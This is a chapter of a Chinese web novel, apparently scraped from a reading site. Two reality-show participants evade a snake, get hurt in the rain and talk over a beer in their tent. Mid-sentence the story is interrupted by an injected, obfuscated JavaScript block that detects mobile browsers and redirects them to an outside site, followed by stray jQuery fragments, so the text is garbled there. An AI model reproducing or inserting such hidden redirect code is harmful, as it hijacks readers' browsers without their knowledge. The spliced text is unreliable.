55. C55

作品:《雨林狂享曲

    蒋芮的脚停在半空,保持着一个难受的姿势僵在原地。


    前面的人没有了声音,蒋芮咬着牙,前半个脚掌落在地上,踮脚往前走了两小步,看清了前方的情况。


    节目组的箱子上盘旋着一条蛇,头部呈明显的三角形,半个身子都立了起来,呈现攻击姿态对着最前方的单舟渝。


    只要他有一点动作就会滑行过来。


    她的脸色肉眼可见变得难看起来。


    往后看见箱子被它的身子紧紧缠着,蒋芮猜测大概是箱子里放了生肉,潮湿闷热下散发出了异味。


    落叶的踩踏声让她也被盯上了,蛇信子被吐出。


    进退维谷。


    一滴水滴落在头上。


    紧接着,两滴、三滴。


    速度越来越快,不同于雨丝的细密,蒋芮低下头,看向滴落在手心的水,黄豆大小。


    雨水的来临让蛇的攻击性明显上升,尾部已经缓慢松开箱子。


    “慢慢往后撤,单舟渝。”蒋芮伸出手,抓住他的袖子小声道。


    雨水击打在树叶上的声音很好的掩饰掉了鞋子踩住落叶时轻微声响。


    单舟渝反手抓住她的手臂作为支点开始慢慢往后退,直到站在蒋芮前面一步,开口:“一块往后退。”


    雨越下越大,没有要停歇的意思。


    两人没办法去思考方向的问题,紧紧盯着前方缓慢开始后退,直到蛇的身影消失在雾中也不敢放松。


    接着后退了三四米才转身踮脚前进。


    来不及去停下思考方向的问题,蒋芮只能依靠零星的记忆带着单舟渝在雨中穿行。


    现在当务之急是要找到能搭帐篷的地方,他们需要一个避雨点,不然这样下去明天两人至少要病倒一个。


    想着脚步不由得加快,和单舟渝拉开些许的距离。


    反正他会跟上来。


    蒋芮边回忆路线边想。


    豆大的雨水和雾气把视野模糊了一大半,只能听见单舟渝带着痛意的喊声:“操,这什么东西?”


    蒋芮把脸上的雨水抹掉,看见单舟渝低着头,一只手被另外一只手死死捏着。


    心中一惊,顾不上慢慢来,大步往他跑去。


    已经长进地下的粗大、交叉的根系让土地表面变得更加凹凸不平,不平的地势和松开的鞋带把蒋芮绊倒在地。


    泥泞的土地瞬间将蒋芮的手心变得濡湿黏腻,顾不上狼狈,撑住地板站起来后继续小跑前去。


    单舟渝的腮帮子都绷紧了,话只能从牙缝里蹦出来,先她一步开口:“你没事吧?”


    她的呼吸都错乱了瞬间,想质问他现在到底谁比较严重一点。


    不由分说地把他的手从怀里拉出来。


    手背上只是淡淡一片红肿。


    “好像是蚂蚁。”单舟渝缓过那股劲后吸了口气说。


    他刚刚看见树上有很像节目组留下的标志,但被东西糊住了,手才刚放在树干上还没来得及拂开就是一股剧痛。


    蒋芮走上前,在树干上仔细看,最后在间隙看见了几只子弹蚁。


    紧张的弦松下来后脚踝传来一阵钻心的痛。


    流年不利。


    蒋芮不动声色把脚立起来想要扭一扭,还没动两下就被疼的立马放下。


    “是子弹蚁,死不了。”


    手背开始感受到一阵炙热,雨水冲打在上面让炙热越加明显。


    单舟渝把手缩进外套里,变成独臂侠,又问了一次:“你没事吧?”


    喉咙那句没事在看见他因为雨水打绺的睫毛卡住,最后说出口变成,“崴脚了。”


    最后情况演变成她抓着独臂侠那只空荡荡的袖子一瘸一拐往前走,单舟渝用完好的那只手在树上做标记。


    如果不是再找不到地方搭帐篷他们就大概率会完蛋,蒋芮还挺想笑的。


    最后绕来绕去,抵达了一片新的地方,和昨天搭帐篷的地势有些像,但树更加茂密,地势也更加平坦。


    蒋芮忍着痛,迅速把帐篷搭起啦,两人几乎是湿了一半的外套被扔在节目组给的垃圾袋里。


    头顶灯被她挂在帐篷里,由里到外开始散发光源。


    在灰蒙蒙的雨林里成了唯一的暖色。


    两人并肩坐在帐篷的中心,拉链被完全拉上,只能听见雨水不断击打的声音。


    单舟渝的外套又被她穿在身上,蒋芮跪着在包里找应急物品。


    碘伏棉签、驱蚊液、止痛药、感冒药,几乎所有的东西都被摆出来放在两人前边。


    目光触及到角落后停住,犹豫了片刻蒋芮还是把东西一块取了出来。


    不轻的重量放在布上面后微微向下陷了些。


    单舟渝望着摇摆的顶灯的目光终于收回,低头看向那一堆物品。


    一堆医疗急救物品围在一瓶东西周围。


    上面明晃晃的四个字母让他想要装作看不懂都没办法。


    BEER


    这东西和他们目前的境况颇有些不相符啊。


    “蒋导,你不会打算拿这个来消毒吧?”


    单舟渝看电视剧见过拿洋酒的、白酒来消毒的,哪有人拿啤酒的,那是腌肉吧。


    蒋芮被他的脑回路折服,盯了他半晌才说:“你想的倒是美,这是用来喝的。”


    “这也算你的应急物品之一么?”单舟渝手摸上冰凉顺滑的瓶身,又问。


    她重重地点头,“最重要的物品之一。”


    说完她也不解释,把碘伏棉签甩给他自己消毒。


    自己则把裤脚向上拉,卡在小腿中间,仔细观察脚踝。


    肿了一小块,情况不算特别严重。


    她没有药油,如果严重起来她都不知道要怎么处理。


    蒋芮松了口气,把裤子拉回去,看向专心消毒的单舟渝,接着听见他感慨。


    “至少没有被蛇咬。”


    嘴角抽了抽,沉重的心情也松了几分。


    这种情况点乐观点挺好的,反正都没招了,笑总比哭好。


    雨没有小的趋势,单舟渝从一开始翻翻药品到后面无聊到开始读说明书。


    无聊的说明书配着天然的白噪音让他困意冉冉上升。


    “我每次在雨林探险结束前一晚,会对着天空慢慢喝完一整瓶啤酒。”


    蒋芮的声音和啤酒被打开后泄出的气声重合。


    他清醒了几分。


    “算是庆祝我又探索了一片新地图,也庆祝我能活着出去,是我的一个精神寄托,每次遇到困难我就会想,不行,我包里还有一瓶啤酒没喝呢。”


    蒋芮喝了一口啤酒后递给他。


    “一起吧,我们会活着出去的,提前庆祝。”


    单舟渝抿唇,看着在自己面前的啤酒,最后还是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184396|196712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    接过,唇印在瓶身上,喉结滚动,彻底清醒过来。


    耳边是噼里啪啦的雨滴打在树叶、帐篷上的声音,浓雾笼罩在周围,天空被浓密的乌云遮盖,光源仅存于挂在张帐篷顶上的头顶灯。


    啤酒的气泡和香气分别在嘴巴、喉咙炸开,激出了生理泪水。


    有一种末日来临前处于安全屋的踏实感。


    感受着啤酒的香气涌上鼻腔,如果不是情况已经很差了,他真的想说一句——惬意。


    明明啤酒没有多高的酒精度,但不知道是否这种环境太让人放松,紧绷许久的神经稍微一松,让酒精有了空隙钻进脑袋,让他的脑袋也蒙上了一层薄雾。


    从早上到现在,短短几个小时过的快要比他的人生还要精彩了。


    一股想要说些什么的冲动随着酒精开始挥发涌上心头。


    “蒋导,我之前是不是告诉过你,我其实不喜欢摄像头。”


    他的声调懒洋洋的,蒋芮拿起啤酒瓶认真找酒精度。


    9度不到。


    那么容易就喝醉了吗?


    也许是压根没想得到她回答,单舟渝自顾自往下说:“其实不是不喜欢摄像头,是找不到喜欢的东西。”


    “主持人这一行给我带来了很多机会可以去尝试不同的东西,可尝试的越多,我越来越不知道我到底喜欢什么,就连主持人这份工作我也不喜欢了,这份工作好像随便换个人来干也能和我干的差不多,我就是单纯运气好。”


    他实习就跟了一个好师傅,师傅退休后不留余力把他推举到了这个位置。


    “每次录节目的流程还有我的生活周而复始,我找不到工作还有生活的意义,总觉得活得像一个空心人。”


    单舟渝停下后沉默开始在狭小密闭的空间里流动。


    其实他远不该说那么多,他也从来没跟人说过这些,但此刻说出来后又忍不住期待她的回复。


    雨水击打的声音渐小,蒋芮有些沙哑的嗓音把沉默抽离。


    “可是没有人规定生活和工作一定要有意义,工作就是为了赚钱,生活就是为了开心为了找到自己所感兴趣的。”


    单舟渝脸侧过来的瞬间装进她亮晶晶的眼睛里。


    蒋芮觉得扯淡,把被沾湿的碎发一次性往上捋,露出格外锐利的眉眼,偏偏眼睛里面都是笑意,凑近盯着他。


    在这双眼睛的注视下单舟渝觉得自己快要不能反应了,明明不算多近的距离却感觉自己的呼吸和心神都被她攫住,呼吸错了好几拍,觉得伤口越来越烫炙热。


    想要转移视线,面前却都是她的脸。


    从眼睛,鼻子,到唇。


    唇。


    他控制着不让自己的眼神聚焦在上边。


    “单舟渝,按你这个道理来说,那些本职工作做的很厉害却不喜欢的人也是空心人吗?”


    他摇头。


    “既然没找到那就一直找下去就好了,你还那么年轻,世界上那么多东西,一样样试过去你总能直到你到底喜欢什么,世界上绝大多数人到现在都不知道自己喜欢什么,漫长的人生就是留给我们不断探寻的。”


    “你很厉害,为人处事、沟通、和陌生人相处、网上对你没有什么差评,这些方面都很厉害,”蒋芮掰着手指数,“只要没有人换掉你就说明你是可以胜任的,那为什么还要那么悲观呢?”


    单舟渝被问倒了。